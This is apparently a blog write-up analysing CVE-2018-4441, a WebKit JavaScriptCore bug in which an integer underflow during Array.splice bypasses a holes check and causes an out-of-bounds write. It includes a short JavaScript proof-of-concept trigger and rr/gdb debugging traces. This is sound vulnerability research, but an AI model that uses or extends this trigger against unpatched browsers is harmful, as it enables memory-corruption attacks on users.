CVE-2018-4441

CVE-2018-4441

PoC and slice

PoC:

function main() {
    let arr = [1];

    arr.length = 0x100000;
    arr.splice(0, 0x11);

    arr.length = 0xfffffff0;
    arr.splice(0xfffffff0, 0, 1);
    print(arr)
}

main();

To begin, we need to reveal the definition of slice from MDN:

The splice() method changes the contents of an array by removing or replacing existing elements and/or adding new elements ```javascript var months = [‘Jan’, ‘March’, ‘April’, ‘June’]; months.splice(1, 0, ‘Feb’); // inserts at 1st index position console.log(months); // expected output: Array [‘Jan’, ‘Feb’, ‘March’, ‘April’, ‘June’]

months.splice(4, 1, ‘May’); // replaces 1 element at 4th index console.log(months); // expected output: Array [‘Jan’, ‘Feb’, ‘March’, ‘April’, ‘May’]


## Crash Root Cause

Long time no see...let's analyze CVE now. We use `rr` for record and replay. Let's try to find root cause without seeing Loki's writeup.

Use `sudo rr record ./jsc exp.js` and then `sudo rr replay`, then `c` to continue execution.

0x0000561d05caa92a in JSC::WriteBarrierBase at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:169 169 void clear() { m_value = JSValue::encode(JSValue()); }


And then, we can see the gdb, `clear()` convert a `JSValue` to `Int64` to store it in array:

RAX 0x7fb0000fe678 <- 0x0 — 0x561d05caa92a mov qword ptr [rax], rdx — 169 void clear() { m_value = JSValue::encode(JSValue()); }


Obvious a null pointer dereference here, which leads to segment fault. And the `RAX` is from `mov rax, qword ptr [rbp - 0x18] -> 0x7fffa4077668: 0x00007fb0000fe678`. Let's continue keep tracking those data.

Continue keep tracking, we can find the `JsValue()` return `0` to `JSValue::encode()`. This is probably where the `0` from `RAX` from. Which call `clear()` functions, we can track to here. We can assume that it convert all value to `Int64` for storing:

// in shiftCountWithArrayStorage 1059 for (unsigned i = 0; i < count; i++) 1060 vector[i + startIndex].clear(); — (rr) p startIndex $3 = 4294967280 // equals to 0xfffffff0 (rr) p i $4 = 0


An obvious **OOB** here. The `startIndex` looks familiar, it must be some value from `main()` function. Continue, we can see:
```cpp
if (startIndex) {
  if (moveFront)
    memmove(vector, vector + count, startIndex * sizeof(JSValue));
  else if (length - startIndex)
    memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue));
}

The strange thing is that the length == startIndex here, so memmove will not be executed. Otherwise the memmove. It’s not hard for us to assume that WebKit is executing arr.splice(0xfffffff0, 0, 1); function: if the array is long enough, it will append 1 after length 0xfffffff0. The length is 0xfffffff0 now, so the memmove will be ignored. If we we managed to fake the startIndex slightly less to length, we can do an OOB Write.

The crash part is clear. The next question comes: why does WebKit believes us have an object with length 0xfffffff0, while the real length is much smaller.

What about OOB?

Continue our reverse execution. Use watch *0x7fa8000fe6e0(the address of length) and press rc to trace the change of length.(You may see it several round, stop until auxWord == 0xfffef) Finally at:

In file: /home/webkit/WebKit/Source/JavaScriptCore/runtime/IndexingHeader.h
65     void setPublicLength(uint32_t auxWord) { u.lengths.publicLength = auxWord; }

Obviously we didn’t set up such value. Use backtrace to see what happens:

#0  0x0000561d05caaa80 in JSC::IndexingHeader::setPublicLength
#1  0x0000561d05cadbbf in JSC::ArrayStorage::setLength
#2  0x00007fba9b22b13b in JSC::JSArray::shiftCountWithArrayStorage
#3  0x00007fba9b22bdc8 in JSC::JSArray::shiftCountWithAnyIndexingType
#4  0x00007fba9b17ea84 in JSC::JSArray::shiftCountForSplice

Okay, it is in arr.splice(0, 0x11)(0x100000 - 0x11 = 0xfffef) since here is another JSArray::shiftCountForSplice before triggering setPublicLength. So b *JSC::JSArray::shiftCountForSplice. rc to there, and then investigate the problem by n. When we reach here:

In file: /home/webkit/WebKit/Source/JavaScriptCore/runtime/JSArray.cpp
   815     unsigned length = oldLength - count;
   816     
-> 817     storage->m_numValuesInVector -= count;
---
(rr) p storage->m_numValuesInVector 
$29 = 1
(rr) p count
$30 = 17

This an integer overflow. After the minus, we get storage->m_numValuesInVector == 0xfffffff0. Yes, this is the second length we set in the code.

Now, let’s go back to where crash happen. Let view JSArray.cpp:

// In file: /home/webkit/WebKit/Source/JavaScriptCore/runtime/JSArray.cpp
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStorage* storage) {
// If the array contains holes or is otherwise in an abnormal state,
// use the generic algorithm in ArrayPrototype.
if (storage->hasHoles() || storage->inSparseMode() || shouldUseSlowPut(indexingType()))
    return false;

bool moveFront = !startIndex || startIndex < length / 2;

unsigned vectorLength = storage->vectorLength();

...

if (startIndex) {
    if (moveFront)
        memmove(vector, vector + count, startIndex * sizeof(JSValue));
    else if (length - startIndex)
        memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * sizeof(JSValue));
}

for (unsigned i = 0; i < count; i++)
    vector[i + startIndex].clear();

return true;

...
}

Here is a storage->hasHoles() check, which implements through:

In file: /home/webkit/WebKit/Source/JavaScriptCore/runtime/ArrayStorage.h
72     bool hasHoles() const
73     {
74         return m_numValuesInVector != length();
75     }  

The m_numValuesInVector is set to be equal through splice, allowing us to bypass the check. And eventually OOB happens.